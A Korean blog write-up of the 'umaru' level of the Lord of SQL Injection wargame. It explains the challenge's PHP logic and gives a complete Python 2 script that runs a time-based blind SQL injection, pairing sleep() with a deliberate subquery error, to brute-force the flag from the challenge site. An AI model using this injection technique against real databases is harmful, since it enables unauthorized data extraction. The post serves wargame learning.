코드 윗부분을 보면 function이 정의되어 있다. flag를 리셋 시키는 거 같은데 

new_flag에 해쉬값의 8번째 문자를 시작으로 16개의 문자를 담는다. 그 후에 if값이 참이라면 insert into 구문을 사용해서 테이블에 데이터를 넣고 update문을 이용해서  flag값을 수정한다. 


문자 필터링에는 id, where, order, limit, , 등이 있었고 flag값이 100자를 넘으면 안된다.

realflag변수는 말 그대로 realflag를 가지고 

입력한 flag 값은 prob_umaru_temp라는 테이블에 넣어준다.

real flag값과 temp flag값이 다르면 reset_flag()함수를 실행하는데 이 부분을 우회해야 flag값을 부르트포싱 할 수 있다.


연산 우선순위에 의해서 sleep()함수 내부에 length(flag)={0}를 넣어주고 이에 따른 true, false 값이 리턴 될 것이다.

그리고 (select 1 union select 2)는 Subquery returns more than 1 row에러가 나기 때문에 

update prob_umaru_temp set flag ={$_GET[flag]}구문부터 아래는 처리 되지 않는다. 이런식으로 sleep함수를 이용하여 블라인드 인젝션을하고 에러로 reset_flag()함수의 실행을 막는다.



다른이야기지만 mysql은 query 최적화를 위해 or 이전에 값이 true이면 or이후의 절은 확인하지 않는다. 즉  or 뒤에 sleep이 있다면 실행 되지 않는다는 것.



import urllib2

import time


headers={"User-Agent" : "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36","Cookie": "__cfduid=d801ac695e6807aeabe31f3b42483360c1520211570; PHPSESSID=dn70g3n70fevi6e1e1rfp4ml82"}


for i in range(1,20):

    t1=time.time()

    url="http://los.eagle-jump.org/umaru_6f977f0504e56eeb72967f35eadbfdf5.php?flag=sleep((length(flag)={0})*2)%20=(select%201%20union%20select%202)".format(str(i))

    request=urllib2.Request(url,None,headers)

    response=urllib2.urlopen(request)

    res=response.read()

    t2=time.time()

    print "t2-t1 : ",t2-t1

    if t2-t1>2:

        print "flag length : ", i

        break



string="0123456789abcdefghijklmnopqrstuvwxyz!@#$%^&*()_-=+"

result=""


for i in range(0,16):

    for k in range(0,50):

        t1=time.time()

        url="http://los.eagle-jump.org/umaru_6f977f0504e56eeb72967f35eadbfdf5.php?flag=sleep((flag%20like%20%27{0}{1}%%27)*2)%20=(select%201%20union%20select%202)".format(str(result),str(string[k]))

        request=urllib2.Request(url,None,headers)

        response=urllib2.urlopen(request)

        res=response.read()

        t2=time.time()

        print str(i)+"\t"+str(k)

        if t2-t1>2:

            result+=string[k]

            print 

            break

print result


print ('Password is '+result)

url="http://los.eagle-jump.org/umaru_6f977f0504e56eeb72967f35eadbfdf5.php?flag="+result

request=urllib2.Request(url,None,headers)

response=urllib2.urlopen(request)

res=response.read()

print (res)







los_umaru.py




'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

21.los dark_eyes  (0) 2018.04.02
20.los iron_golem  (0) 2018.03.30
19.los dragon  (0) 2018.03.30
18.los xavis  (0) 2018.03.29
17.los nightmare  (0) 2018.03.29

+ Recent posts